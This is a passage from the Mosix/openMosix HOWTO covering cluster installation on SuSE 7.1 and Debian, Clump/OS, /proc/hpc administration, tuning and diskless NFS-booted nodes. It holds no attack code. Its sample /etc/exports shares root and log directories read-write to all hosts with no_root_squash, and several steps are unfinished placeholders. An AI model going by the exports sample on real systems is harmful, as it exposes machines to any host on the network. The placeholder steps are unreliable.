read, readv, write, writev, readahead, lseek, llseek, open, creat, close, dup, dup2, fcntl/fcntl64, getdents, getdents64, old_readdir, fsync, fdatasync, chdir, fchdir, getcwd, stat, stat64, newstat, lstat, lstat64, newlstat, fstat, fstat64, newfstat, access, truncate, truncate64, ftruncate, ftruncate64, chmod, chown, chown16, lchown, lchown16, fchmod, fchown, fchown16, utime, utimes, symlink, readlink, mkdir, rmdir, link, unlink, rename

Here are situations when system calls on DFSA mounted filesystems may not work:

diffrent mfs/dfsa configuration on the clusternodes
dup2 if the second file-pointer is non-DFSA
chdir/fchdir if the parent dir is non-DFSA
pathnames that leave the DFSA-filesystem
when the process which executes the system-call is being traced
if there are pending requests for the process which executes the system-call

Prev | Home | Next
Getting OpenMosix | Up | RedHat


RedHat

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.5. RedHat

Prev | Home | Next
openMosix General Instructions | Up | Suse 7.1 and Mosix


Suse 7.1 and Mosix

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.6. Suse 7.1 and Mosix

5.6.1. Versions Required

The following is based on using SuSE 7.1 (German Version), Linux Kernel 2.2.19, and Mosix 0.98.0.

The Linux Kernel 2.2.18 sources are part of the SuSE distribution. Do not use the default SuSE 2.2.18 kernel, as it is heavily patched with SuSE stuff. Get the patch for 2.2.19 from your favorite mirror such as . If there are further patches for the 2.2.* kernel RROR URL HERE by the time you read this text, get those, too.

If one of your machines is a laptop with a network connection via pcmcia, you will need the pcmcia sources, too. They are included in the SuSE distribution as MISSING: RPM HERE.

Mosix 0.98.0 for the 2.2.19 kernel can be found on http://www.mosix.org as MOSIX-0.98.0.tar.gz . While you are there, you might want to get some of the contributed software like qps or mtop. Again, if there is a version more current than 0.98.0 by the time you read this, get it instead.

SuSE 7.1 ships with a Mosix-package as a rpm MISSING: RPM HERE Ignore this package. It is based on Kernel 2.2.18 and seems to have been modified by SuSE (see /usr/share/doc/packages/mosix/README.SUSE). You are better off installing the Mosix sources and installing from scratch.

5.6.2. Installation

We're assuming your hardware and basic Linux system are all set up correctly and that you can at least telnet (or ssh) between the different machines. The procedure is described for one machine. Log in as root. Install the sources for the 2.2.18 Kernel in /usr/src. SuSE will place them there automatically as /usr/src/linux-2.2.18 if you install the RPM RPM NAME. Rename the directory to /usr/src/linux-2.2.19. Remove the existing link /usr/src/linux and create a new one to this directory with
        ln -s /usr/src/linux-2.2.19 linux
(assuming you are in /usr/src). Patch the kernel to 2.2.19 (or whatever the current version is). If you do not know to do this, check the Linux Kernel HOWTO. Make a directory /usr/src/linux-2.2.19-mosix and copy the contents of the vanilla kernel /usr/src/linux-2.2.19 there with the command
        cp -rp linux-2.2.19/* linux-2.2.19-mosix/
This gives you a clean backup kernel to fall back on if something goes wrong. Remove the /usr/src/linux link (again). Create a link /usr/src/linux to /usr/src/linux-2.2.19-mosix with
        ln -s /usr/src/linux-2.2.19-mosix linux
to make life easier. Change to /tmp, copy the Mosix sources there and unpack them with the command
        tar xfz MOSIX-0.98.0.tar.gz
Do not unpack the resulting tar archives such as /tmp/user.tar that appear.

5.6.3. Setup

  • Run the install script /tmp/mosix.install and follow instructions.

    Mosix should be enabled for run level 3 (full multiuser with network, no xdm) and 5 (full multiuser with network and xdm). There is no run level 4 in SuSE 7.1.

    The Mosix install script does not give you the option of creating a boot floppy instead of an image. If you want a boot floppy, you will have to run "make bzdisk" after the install script is through.

    Do not repeat /not/ reboot.

  • The install script in Mosix 0.98.0 is made for RedHat distributions and therefore fails to set up some SuSE files correctly. It tries to put stuff in /sbin/init.d/, which in fact is /etc/init.d/ (or /etc/rc.d/) with SuSE. Also, there is no /etc/rc.d/init.d/ in SuSE. So:

    • Copy /tmp/mosix.init to /etc/init.d/mosix and make it executable with the command
                      chmod 754 /etc/init.d/mosix

    • MISSING - MODIFY ATD stuff "/etc/rc.d/init.d/ATD" BY HAND

    • MISSING - MODIFY THE "/etc/cron.daily/slocate.cron" FILE

    • The other files - /etc/inittab, /etc/inetd.conf, /etc/lilo.conf - are modified correctly.

  • Edit the file /etc/inittab to prevent some processes from migrating to other nodes by inserting the command "/bin/mosrun -h" in the following lines:

    Run levels:
            l0:0:wait:/bin/mosrun -h /etc/init.d/rc 0
        l1:1:wait:/bin/mosrun -h /etc/init.d/rc 1
        l2:2:wait:/bin/mosrun -h /etc/init.d/rc 2
        l3:3:wait:/bin/mosrun -h /etc/init.d/rc 3
        l5:5:wait:/bin/mosrun -h /etc/init.d/rc 5
        l6:6:wait:/bin/mosrun -h /etc/init.d/rc 6
    (Remember, there is no run level 4 in SuSE 7.1)

    Shutdown and sulogin:

        ~~:S:respawn:/bin/mosrun -h /sbin/sulogin
        ca::ctrlaltdel:/bin/mosrun -h /sbin/shutdown -r -t 4 now
        sh:12345:powerfail:/bin/mosrun -h /sbin/shutdown -h now THE \
           POWER IS FAILING

    It is not necessary to prevent the /sbin/mingetty processes from migrating - in fact, if you do, all of the child processes started from your login shell will be locked, too [Note to German readers: This is mistake in the article "Zwischen Multiprocessing und Cluster-Computing" on Mosix in "Linux-Magazin" 6/2000].

  • To enable the processes started by your window manager to migrate, edit the files ~/.xinitrc and ~/.xsession by going to the end of the file and changing the line "exec $WINDOWMANAGER" to
           exec /bin/mosrun -l $WINDOWMANAGER
    You should be able to enable migration for all users' window mangers by modifying the equivalent line in /etc/X11/xdm/Xsession MISSING: NOT TESTED YET. However, see section 8 "Notes" for reasons why you might not want to do this by default.

  • The command to start and stop Mosix (do not repeat /not/ do this now) is
           /etc/init.d/mosix {start|stop|status|restart|reload}
    To have Mosix start automatically at boot time, go to /etc/init.d/ . In the subdirectories ./rc3.d and ./rc5.d, create the following links:
            ln -s ../mosix S30mosix
        ln -s ../mosix K01mosix
    The first line causes Mosix to be called as the last part of the install procedure for the given run level, the second line closes it down as one of the first services.

  • Create a file /etc/mosix.map following the instructions in the Mosix documentation. In the most simple case, you will have n computers which have their IP-addresses in sequence so that the map file will simply look like
            1   IP-address of first node  n
    This is where a lot of errors occur, let me clarify this with an example. Suppose you have 5 machines, 10.0.0.1, 10.0.0.2 , 10.0.0.100 , 10.0.0.101 and 10.0.0.150 your mosix.map would look like
        1  10.0.0.1	2
    3  10.0.0.100   2
        5  10.0.0.150   1
    PLEASE VERIFY THIS !!!!!!!

  • Run "/etc/versionate", which will most probably tell you that the Mosix module already has a version. Do it anyway.

  • Now, finally, reboot. The computer should come up running Mosix.

Prev | Home | Next
RedHat | Up | Debian and Mosix


Debian and Mosix

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.7. Debian and Mosix

Installing mosix on a Debian based machine can be done as described below First step is downloading the packages from the net. Since we are using a debian setup we needed
http://packages.debian.org/unstable/net/mosix.html
http://packages.debian.org/unstable/net/kernel-patch-mosix.html
http://packages.debian.org/unstable/net/mps.html
You can also apt-get install them ;) Next part is making the kernel mosix capable. Copy the patch.$kernel version in to your /usr/src/linux-$version directory run
patch -p0 < patches.2.4.10
Check your kernel config and run
make dep ; make clean ; make bzImage ; make modules ; make modules_install
You now wil need to edit your /etc/mosix/mosix.map This file has a bit a strange layout. We have 2 machines 192.168.10.65 and 192.168.10.94 This gives us a mosix.map that looks like
1 192.168.10.65 1
2 192.168.10.94 1
After rebooting with this kernel (lilo etc you know the drill), you then should have a cluster of mosix machines that talk to eachoter and that do migration of processes. You can test that by running the following small script ..
awk 'BEGIN {for(i=0;i<10000;i++)for(j=0;j<10000;j++);}'
a couple of times, and monitor it`s behaviour with mon where you will see that it spreads the load between 2 different nodes. If you have enabled Process-arrival messages in your kernel you will notice that each time a remote (guest) process arrives on your node a Weeeeeee will be printed and each time a local proces returns you will see a Woooooo on your console. So basically If you don`t see any of those messages during the running of a program and if you have this option enabled in your kernel you might conclude that no processes migrate. We also setup Mosixview (0.8) on the debian machine
apt-get install mosixview
In order to be able to actually use Mosixview you will need to run it from a user who can log in to the different nodes as root. We suggest you set this up using ssh. Please note that there is a difference between the ssh and ssh2 implemtations .. if you have a identity.pub ssh wil check authorized_keys, if you have id_rsa.pub you will need authorized_keys2 !! Mosixview gives you a nice interface that shows the load of different machines and gives you the possibility to migrate processes manually. A detailed discussion of Mosixview can be found elsewhere in this document.

Prev | Home | Next
Suse 7.1 and Mosix | Up | Other distributions


Other distributions

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.8. Other distributions

Based on the explanations above you should be able to install Mosix on most other Linux platforms.

Prev | Home | Next
Debian and Mosix | Up | Cluster Installation


Cluster Installations

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.1. Cluster Installations

This chapter does not deal with installing Mosix as such, it does however deal with installing multiple machines with mosix. Automated or semi automated mass installs.

Prev | Home | Next
Cluster Installation | Up | Installation scripts [LUI, ALINKA]


Installation scripts [LUI, ALINKA]

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.2. Installation scripts [LUI, ALINKA]

Prev | Home | Next
Cluster Installations | Up | The easy way: Automatic installation


The easy way: Automatic installation

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.3. The easy way: Automatic installation

Prev | Home | Next
Installation scripts [LUI, ALINKA] | Up | The hard way: When scripts don't work


The hard way: When scripts don't work

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.4. The hard way: When scripts don't work

Prev | Home | Next
The easy way: Automatic installation | Up | Kick Start Installations


Kick Start Installations

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.5. Kick Start Installations

Prev | Home | Next
The hard way: When scripts don't work | Up | DSH, Distributed Shell


DSH, Distributed Shell

The Mosix HOWTO
Prev Chapter 6. Cluster Installation Next

6.6. DSH, Distributed Shell

Prev | Home | Next
Kick Start Installations | Up | ClumpOS


What is Clump/OS

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.1. What is Clump/OS

clump/os is a CD-based Linux /MOSIX mini-distribution designed to allow users to quickly, or temporarily, add nodes to a MOSIX cluster; As I write this in march 2002 the version (release 5.x) is a 5.3M ISO download.

This chapter has been contributed by Jean-David Marrow who is the main author of Clump/OS.

Prev | Home | Next
ClumpOS | Up | How does it work


How does it work

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.2. How does it work

At boot-time, clump/os will autoprobe for network cards, and, if any are detected, try to configure them via DHCP. If successful, it will create a mosix.map file based on the assumption that all nodes are on local CLASS C networks, and configure MOSIX using this information. clump/os Release 4 best supports machines with a single connected network adapter. The MOSIX map created in such cases will consist of a single entry for the CLASS-C network detected, with the node number assigned reflecting the IP address received from DHCP. (On the 192.168.1 network, node #1 will be 192.168.1.1, etc.) If you use multiple network adapters Expert mode is recommended as the assignment of node numbers is sensitive to the order in which network adapters are detected. (Future releases will support complex topologies and feature more intelligent MOSIX map creation.) clump/os will then display a simple SVGA monitor (clumpview) indicating whether the node is configured, and, if it is, showing the load on all active nodes on the network. When you've finished using this node, simply press [ESC] to exit the interface and shutdown.

Alternatively, or if autoconfiguration doesn't work for you, then you can use clump/os in Expert mode. Please note that clump/os is not a complete distribution or a rescue disk; the functionality present is the bare minimum required for a working MOSIX server node.

It works for us, but may not work for you; if you experience difficulties, please email us with as much information about your system as possible -- after you have investigated the problem. (See Problems? and Expert mode. You might also consider subscribing to the clump/os mailing list.)

Prev | Home | Next
What is Clump/OS | Up | Requirements


Requirements

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.3. Requirements

As the purpose of clump/os is to add nodes to a cluster, it is assumed that you already have a running MOSIX cluster -- or perhaps only a single MOSIX node -- from which you will be initiating jobs. All machines in the cluster must conform to the following requirements:

clump/os Machine(s) 586+ CPU,
bootable CDROM
NIC
64M+ RAM (the system is loaded entirely into a ramdisk; this means that you should have at least 64M of RAM (and likely more) to accomodate the approx. 16M ramdisk, space needed for Linux itself, and space for your work. This approach was chosen so that the same CDROM can be used to configure multiple systems.)
Master Machine(s) Linux 2.4.17, MOSIX 1.5.7 (manually configured)
Network Environment Running DHCP server (f you don't, or won't, run DHCP, you can still manually configure your system; see Problems? and Expert Mode. Using DHCP is highly recommended, however, and will greatly simplify your life in the long run. )

The following network modules are present, although not all support autoprobing; if you don't see support for your card in this list, then clump/os will not work for you even in Expert Mode.

3c501.o 3c503.o 3c505.o 3c507.o 3c509.o 3c515.o 3c59x.o 8139cp.o 8139too.o 82596.o 8390.o ac3200.o acenic.o at1700.o cs89x0.o de4x5.o depca.o dgrs.o dl2k.o dmfe.o dummy.o e2100.o eepro.o eepro100.o eexpress.o epic100.o eth16i.o ewrk3.o fealnx.o hamachi.o hp-plus.o hp.o hp100.o lance.o lp486e.o natsemi.o ne.o ne2k-pci.o ni5010.o ni52.o ni65.o ns83820.o pcnet32.o sis900.o sk98lin.o smc-ultra.o smc9194.o starfire.o sundance.o sungem.o sunhme.o tlan.o tulip.o via-rhine.o wd.o winbond-840.o yellowfin.o

Please also note that clump/os may not work on a laptop, definately doesn't support PCMCIA cards, and will probably not configure MOSIX properly if your machine contains multiple connected ethernet adapters; see Note 1. This is a temporary limitation of the configuration scripts, and the Release 3/4 kernels which are compiled without CONFIG_MOSIX_TOPOLOGY

Prev | Home | Next
How does it work | Up | Getting Started


Getting Started

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.4. Getting Started

You can download the latest clump/os ISO under the terms of the GPL, without warranty of any kind, from the clump os website. Afterwards you have to burn the image to CDROM, insert the CD into your drive, and reboot. (More detailed instructions are in the works, but all the information you need is somewhere on this page -- please read the notes in the margin!)

Prev | Home | Next
Requirements | Up | Problems ?


Problems ?

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.5. Problems ?

  • The CDROM doesn't boot

    Check your BIOS settings to make sure that your machine is configured to boot from the CDROM drive; also make sure that the CDROM is the first boot device.

  • The SVGA interface doesn't work, or the display is incorrect

    Boot into Expert mode, and send us mail describing your video hardware so that we can correct this in future versions. (You won't be able to use clumpview for now.) If at all possible, please send us a working libsvga configuration file for the machine in question.

  • The network adapter isn't detected/autoconfigured (or no DHCP)

    If you see a message (in clumpview) stating that no ethernet devices were configured, or that this node isn't configured yet, then either your ethernet card was not detected or the system was not able to configure the card via DHCP.

    If you don't have a DHCP server configured and running on your local network, clump/os will never autoconfigure; if you have multiple connected network adapters, then clump/os may not configure MOSIX properly. If autoprobing for your network adapter doesn't work, or if you aren't using DHCP, then you'll have to configure your card manually in Expert mode -- using insmod, ifconfig, and route -- and then configure MOSIX via setpe.

    If you do need to manually configure your network adapter, please advise us. We'd like to solve this problem, if possible, or at least document which network cards autoprobe correctly.

  • Migrating processes generate errors ("Network Unreachable")

    This rare problem can be caused by conflicts resulting from differently configured kernels -- even if you are using the correct MOSIX and Linux kernel versions. If clump/os correctly detects all your nodes, but migrating processes generate errors, then please compare your master node's kernel configuration file with the R4.x kernel .config.

  • Migrating processes generate errors ("Process migration failed: incompatible topology")

    You are likely using master nodes with CONFIG_MOSIX_TOPOLOGY defined, which is not supported by clump/os at this time. See Requirements, and compare your kernel configuration as per the previous FAQ; you will need to recompile your master node kernel(s).

If you don't find your issue here, please consider posting to the clump/os mailing list. (Please note that only subscribers are permitted to post; click on the link for instructions.) You should also make certain that you are using the latest versions of MOSIX and clump/os, and that the versions -- clump/os R4.x and MOSIX 1.5.2 at the time of this writing -- are in sync.

Prev | Home | Next
Getting Started | Up | Expert Mode


Expert Mode

The Mosix HOWTO
Prev Chapter 7. ClumpOS Next

7.6. Expert Mode

If you hold down shift during the boot process, you have the option of booting into Expert mode; this will cause clump/os to boot to a shell rather than to the graphical interface. From this shell you can attempt to insert the appropriate module for your network adapter (if autoprobing failed), and/or configure your network and MOSIX manually. Type "halt" to shut down the system. (Note that since the system resides in RAM you can't hurt yourself too badly by rebooting the hard way if you have to -- unless you have manually mounted any partitions rw, that is, and we don't recommend doing so at this point.)

If you want to run clumpview, execute:
     open -s -w -- clumpview --drone --svgalib
This will force the node into 'drone' mode (local processes will not migrate), and will force clumpview to use SVGALIB; the open command will ensure that a separate vt is used.

Please be advised that the environment provided was initially intentionally minimalistic; if you require additional files, or wish to copy files from the system to another machine, your only option is nc (netcat -- a great little utility, btw), or mfs if MOSIX is configured. From version R5.4 on size is no longer a primary consideration.

Expert mode (and clump/os for that matter) is 'single-user'; this is one of the reasons that utilities such as ssh are not included. These and other similar decisions were made in order to keep clump/os relatively small, and do not affect cluster operation.

From version R5.4, if you experience problems in Expert Mode, you can boot into Safe Mode; in Safe Mode no attempt is made at autoconfiguration.

Prev | Home | Next
Problems ? | Up | Administrating openMosix


Basic Administration

The Mosix HOWTO
Prev Chapter 8. Administrating openMosix Next

8.1. Basic Administration

openMosix provides the advantage of process migration to HPC-applications. The administrator can configure and tune the openMosix-cluster by using the openMosix-userspace-tools or the /proc/hpc interface which will be now described in detail.

Prev | Home | Next
Administrating openMosix | Up | Configuration


Configuration

The Mosix HOWTO
Prev Chapter 8. Administrating openMosix Next

8.2. Configuration

The values in the flat files in the /proc/hpc/admin directory presenting the current configuration of the cluster. Also the administrator can write its own values into these files to change the configuration during runtime, e.g.
echo 1 > /proc/hpc/admin/block          -blocks the arrival of remote processes
echo 1 > /proc/hpc/admin/bring          -bring all migrated processes home
...

/proc/hpc/admin/ (binary files)          config
                    -the main configuration file (written by the setpe util)

(flat files)            block           -allow/forbid arrival of remote processes
                        bring           -bring home all migrated processes
                        dfsalinks       -list of current symbolic dfsa-links
                        expel           -sending guest processes home
                        gateways        -maximum number of gateways
                        lstay           -local processes shoud stay

                        mospe           -contains the openMosix node id
                        nomfs           -disables/enables MFS
                        overheads       -for tuning
                        quiet           -stop collecting load-balacing informations
                        decayinterval   -interval for collecting informations about load-balancing
                        slowdecay       -default 975
                        fastdecay       -default 926
                        speed           -speed relative to PIII/1GHz)
                        stay            -enables/disables automatic process migration
Writing a 1 to the following files

/proc/hpc/decay/

                        clear           -clears the decay statistics
                        cpujob          -tells openMosix that the process is cpu-bound
                        iojob           -tells openMosix that the process is io-bound
                        slow            -tells openMosix to decay its statistics slow
                        fast            -tells openMosix to decay its statistics fast

Prev | Home | Next
Basic Administration | Up | Informations about the other nodes


Informations about the other nodes

The Mosix HOWTO
Prev Chapter 8. Administrating openMosix Next

8.3. Informations about the other nodes

/proc/hpc/nodes/[openMosix_ID]/cpus             -how many cpu's the node has
/proc/hpc/nodes/[openMosix_ID]/load             -the openMosix load of this node
/proc/hpc/nodes/[openMosix_ID]/mem              -available memory as openMosix believes
/proc/hpc/nodes/[openMosix_ID]/rmem             -available memory as Linux believes
/proc/hpc/nodes/[openMosix_ID]/speed            -speed of the node relative to PIII/1GHz
/proc/hpc/nodes/[openMosix_ID]/status           -status of the node
/proc/hpc/nodes/[openMosix_ID]/tmem             -available memory
/proc/hpc/nodes/[openMosix_ID]/util             -utilization of the node

Prev | Home | Next
Configuration | Up | Additional Informations about processes


Additional Informations about processes

The Mosix HOWTO
Prev Chapter 8. Administrating openMosix Next

8.4. Additional Informations about processes

local processes
/proc/[PID]/cantmove                    -reason why a process cannot be migrated
/proc/[PID]/goto                        -to which node the process should migrate
/proc/[PID]/lock                        -if a process is locked to its home node
/proc/[PID]/nmigs                       -how many times the process migrated
/proc/[PID]/where                       -where the process is currently being computed
/proc/[PID]/migrate                     -same as goto remote processes
/proc/hpc/remote/from                   -the home node of the process
/proc/hpc/remote/identity               -additional informations about the process
/proc/hpc/remote/statm                  -memory statistic of the process
/proc/hpc/remote/stats                  -cpu statistics of the process

Prev | Home | Next
Informations about the other nodes | Up | the userspace-tools


the userspace-tools

The Mosix HOWTO
Prev Chapter 8. Administrating openMosix Next

8.5. the userspace-tools

These following tools are providing easy adminitration to openMosix clusters.
migrate -send a migrate request to a process
                syntax:
                        migrate [PID] [openMosix_ID]

mon             -is a ncurses-based terminal monitor
                 several informations about the current status are displayed in bar-charts

mosctl          -is the openMosix main configuration utility
                syntax:
                        mosctl  [stay|nostay]
                                [stay|nolstay]
                                [block|noblock]
                                [quiet|noquiet]
                                [nomfs|mfs]
                                [expel|bring]
                                [gettune|getyard|getdecay]

                        mosctl  whois   [openMosix_ID|IP-address|hostname]

                        mosctl  [getload|getspeed|status|isup|getmem|getfree|getutil]   [openMosix_ID]

                        mosctl  setyard [Processor-Type|openMosix_ID||this]

                        mosctl  setspeed        interger-value

                        mosctl  setdecay interval       [slow fast]

more detailed:

stay            -no automatic process migration
nostay          -automatic process migration (default)
lstay           -local processes should stay
nolstay         -local processes could migrate
block           -block arriving of guest processes
noblock         -allow arriving of guest processes
quiet           -disable gathering of load-balancing informations
noquiet         -enable gathering of load-balancing informations
nomfs           -disables MFS
mfs             -enables MFS
expel           -send away guest processes
bring           -bring all migrated processes home
gettune         -shows the current overhead parameter
getyard         -shows the current used Yardstick
getdecay        -shows the current decay parameter
whois           -resolves openMosix-ID, ip-addresses and hostnames of the cluster
getload         -display the (openMosix-) load
getspeed        -shows the (openMosix-) speed
status          -displays the current status and configuration
isup            -is a node up or down (openMosix kind of ping)
getmem          -shows logical free memory
getfree         -shows physical free mem
getutil         -display utilization
setyard         -sets a new Yardstick-value
setspeed        -sets a new (openMosix-) speed value
setdecay        -sets a new decay-interval

mosrun          -run a special configured command on a chooosen node
                syntax:
                        mosrun  [-h|openMosix_ID| list_of_openMosix_IDs] command [arguments]

The mosrun-command can be executed with several more comandline options. To ease this up there are several preconfigured run-scripts for executing jobs with a special (openMosix) configuration.

nomig           -runs a command which process(es) won't migrate
runhome         -executes a command locked to its home node
runon           -runs a command which will be directly migrated and locked to a node
cpujob  	-tells the openMosix cluster that this is a cpu-bound process
iojob           -tells the openMosix cluster that this is a io-bound
process
nodecay         -executes a command and tells the cluster not to refresh the load-balancing statistics
slowdecay       -executes a command with a slow decay interval for collecting load-balancing statistics
fastdecay       -executes a command with a fast decay interval for collecting load-balancing statistics

setpe           -manuell node configuration utility
                syntax:
                        setpe   -w -f   [hpc_map]
                        setpe   -r [-f  [hpc_map]]
                        setpe   -off

-w reads the openMosix configuration from a file (typically /etc/hpc.map)
-r writes the current openMosix configuration to a file (typically /etc/hpc.map)
-off turns the current openMosix configuration off

tune            openMosix calibration and optimizations utility.
                (for further informations review the tune-man page)

Additional to the /proc interface and the commandline-openMosix utilities (which are using the /proc interface) there is a pachted "ps" and "top" available (they are called "mps" and "mtop") which displays also the openMosix-node ID on a column. This is usefull for finding out where a specific process is currently being computed.

The administrator can have a overview about the current status of the cluster and its nodes with the "Mosix Cluster Information Tool PHP" which can be found at http://wijnkist.warande.uu.nl/mosix/ . (the path to the NODESDIR has to be adjusted to $NODESDIR="/proc/hpc/nodes/")

For smaller cluster it might also be usefull to use Mosixview which is a GUI for the most common administration tasks.

Prev | Home | Next
Additional Informations about processes | Up | Tuning Mosix


Optimising Mosix

The Mosix HOWTO
Prev Chapter 9. Tuning Mosix Next

9.1. Optimising Mosix

Login a normal terminal as root. Type
       setpe -r
which, if everything went right, will give you a listing of your /etc/mosix.map. If things did not go right, try
        setpe -w -f /etc/mosix.map
to set up your node. Then, type
       cat /proc/$$/lock
to see if your child processes are locked in your mode (1) or can migrate (0). If for some reason you find your processes are locked, you can change this with
        echo 0 > /proc/$$/lock
until you fix the problem. Repeat the whole configuration scheme for a second computer. The programs tune_kernel and prep_tune that Mosix uses to calibrate the individual nodes do not work with the SuSE distribution. However, you can fake it. First, bring the computer you want to tune and another computer with Mosix installed down to single user mode by typing
        init 1
as root. All other computers on the network should be shutdown if possible. On both machines, run the following commands:
        /etc/init.d/network start
        /etc/init.d/mosix start
        echo 1 > /proc/mosix/admin/quiet
This fakes prep_tune and the first parts of tune_kernel. Note that if you have a laptop with a pcmcia network card, you will have to run
        /etc/init.d/pcmcia start
instead of "/etc/init.d/network start". On the computer you want to tune, run tune_kernel and follow instructions. Depending on your machines, this can take a while - if you have a dog, this might be the time to go on that long, long walk you've always promised him. tune_kernel will create a program called "pg" in /root for testing reasons. Ignore it. After tuning is over, copy the contents of /tmp/overheads to the file /etc/overheads (and/or recompile the kernel). Repeat the tuning procedure for each computer. Reboot, enjoy Mosix, and don't forget to brag to your friends about your new cluster.

Prev | Home | Next
Tuning Mosix | Up | Where to place your files


Where to place your files

The Mosix HOWTO
Prev Chapter 9. Tuning Mosix Next

9.2. Where to place your files

Prev | Home | Next
Optimising Mosix | Up | Special Cases


Laptops and PCMCIA Cards

The Mosix HOWTO
Prev Chapter 10. Special Cases Next

10.1. Laptops and PCMCIA Cards

If you are installing Mosix on a Laptop, you will have to recompile the pcmcia sources, because they are distributed as a separate package and not as kernel modules. On a Suse 7.1 machine, in theory, this should work by installing the packages and then running
        rpm -ba /usr/src/packages/SPECS/pcmcia.spec
as described in the SuSE manual [on page 358 of the German edition]. However, the script tends to get confused by the location of the libraries of the vanilla version and the Mosix version, so after running the above line, you will have to go to the sources in /usr/src/kernel-modules/pcmcia and run
        make config
When prompted for the "Module install directory", change the default setting of "/lib/modules/2.2.19" to
        /lib/modules/2.2.19-mosix
Then run "make" and "make install", which should put the pcmcia modules in /lib/modules/2.2.19-mosix/pcmcia . Note that you must be running the Mosix kernel before you recompile the pcmcia sources.

Prev | Home | Next
Special Cases | Up | Diskless nodes


Diskless nodes

The Mosix HOWTO
Prev Chapter 10. Special Cases Next

10.2. Diskless nodes

At first you have to setup a DHCP-server which answers the DHCP-request for an ip-adress when a diskless client boots. This DHCP-Server (i call it master in this howto) acts additional as an NFS-server which exports the whole client-filesystems so the diskless- cluster-nodes (i call them slaves in this howto) can grab this FS (filesystem) for booting as soon as it has its ip. Just run a "normal"-MOSIX setup on the master-node. Be sure you included NFS-server-support in your kernel-configuration. There are two kinds (or maybe a lot more) types of NFS:
kernel-nfs
or
nfs-daemon
It does not matter which one you use but my experiences shows to use kernel-nfs in "older" kernels (like 2.2.18) and daemon-nfs in "newer" ones. The NFS in newer kernels sometimes does not work properly. If your master-node is running with the new MOSIX-kernel start with one filesystem as slave-node. Here the steps to create it: Calculate at least 300-500 MB for each slave. Create an extra directory for the whole cluster-filesystem and make a symbolic-link to /tftpboot. (The /tftpboot-directory or link is required because the slaves searches for a directory named /tftpboot/ip-adress-of-slave for booting. You can change this only by editing the kernel-sources) Then create a directory named like the ip of the first slave you want to configure, e.g. mkdir /tftpboot/192.168.45.45 Depending on the space you have on the cluster-filesystem now copy the whole filesystem from the master-node to the directory of the first slave. If you have less space just copy:
/bin
/usr/bin
/usr/sbin
/etc
/var
You can configure that the slave gets the rest per NFS later. Be sure to create empty directories for the mount-points. The filesystem-structure in /tftpboot/192.168.45.45/ has to be similar to / on the master.
/tftpboot/192.168.45.45/etc/HOSTNAME                    //insert the hostname of the slave
/tftpboot/192.168.45.45/etc/hosts                       //insert the hostname+ip of the slave
Depending on your distribution you have to change the ip-configuration of the slave :
/tftpboot/192.168.45.45/etc/rc.config
/tftpboot/192.168.45.45/etc/sysconfig/network
/tftpboot/192.168.45.45/etc/sysconfig/network-scripts/ifcfg-eth0
Change the ip-configuration for the slave as you like. Edit the file
/tftpboot/192.168.45.45/etc/fstab               //the FS the slave will get per NFScoresponding to
/etc/exports                                    //the FS the master will export to the slaves
e.g. for a slave fstab:
master:/tftpboot/192.168.88.222  /       nfs     hard,intr,rw    0 1
none    /proc   nfs     defaults        0 0
master:/root     /root   nfs     soft,intr,rw    0 2
master:/opt      /opt    nfs     soft,intr,ro    0 2
master:/usr/local        /usr/local      nfs     soft,intr,ro    0 2
master:/data/      /data nfs     soft,intr,rw    0 2
master:/usr/X11R6        /usr/X11R6      nfs     soft,intr,ro    0 2
master:/usr/share        /usr/share      nfs     soft,intr,ro    0 2
master:/usr/lib        /usr/lib      nfs     soft,intr,ro    0 2
master:/usr/include        /usr/include      nfs     soft,intr,ro    0 2
master:/cdrom        /cdrom      nfs     soft,intr,ro    0 2
master:/var/log  /var/log        nfs     soft,intr,rw    0 2
e.g. for a master exports:
/tftpboot/192.168.45.45       	*(rw,no_all_squash,no_root_squash)
/usr/local  			*(rw,no_all_squash,no_root_squash)
/root			        *(rw,no_all_squash,no_root_squash)
/opt			        *(ro)
/data			        *(rw,no_all_squash,no_root_squash)
/usr/X11R6      		*(ro)
/usr/share		  	*(ro)
/usr/lib			*(ro)
/usr/include		      	*(ro)
/var/log		        *(rw,no_all_squash,no_root_squash)
/usr/src		        *(rw,no_all_squash,no_root_squash)
If you mount /var/log (rw) from the NFS-server you have on central log-file! (it worked very well for me. just "tail -f /var/log/messages" on the master and you always know what is going on)

The cluster-filesystem for your first slave will be ready now. Configure the slave-kernel now. If you have the same hardware on your cluster you can reuse the configuration of the master-node. Change the configuration for the slave like the following:
CONFIG_IP_PNP_DHCP=y
and
CONFIG_ROOT_NFS=y
Use as less modules as possible (maybe no modules at all) because the configuration is a bit tricky. Now (it is well described in the beowulf-howtos) you have to create a nfsroot-device. It is only used for patching the slave-kernel to boot from NFS.
mknod /dev/nfsroot b 0 255
rdev bzImage /dev/nfsroot
Here "bzImage" has to be your diskless-slave-kernel you find it in /usr/src/linux-version/arch/i386/boot after succesfull compilation. Then you have to change the root-device for that kernel
rdev -o 498 -R bzImage 0
and copy the kernel to a floppy-disk
dd if=bzImage of=/dev/fd0
Now you are nearly ready! You just have to configre DHCP on the master. You need the MAC-adress (hardware adress) of the network card of your first slave. The easiest way to get this adress is to boot the client with the already created boot-floppy (it will fail but it will tell you its MAC-adress). If the kernel was configured alright for the slave the system should come up from the floppy, booting the diskless-kernel, detecting its network-card and sending an DHCP- and ARP request. It will tell you its hardware adress during that moment! It looks like : 68:00:10:37:09:83. Edit the file /etc/dhcp.conf like the following sample:
option subnet-mask 255.255.255.0;
default-lease-time 6000;
max-lease-time 72000;
subnet 192.168.45.0 netmask 255.255.255.0 {
     range 192.168.45.253 192.168.45.254;
     option broadcast-address 192.168.45.255;
     option routers 192.168.45.1;
}
host firstslave
{
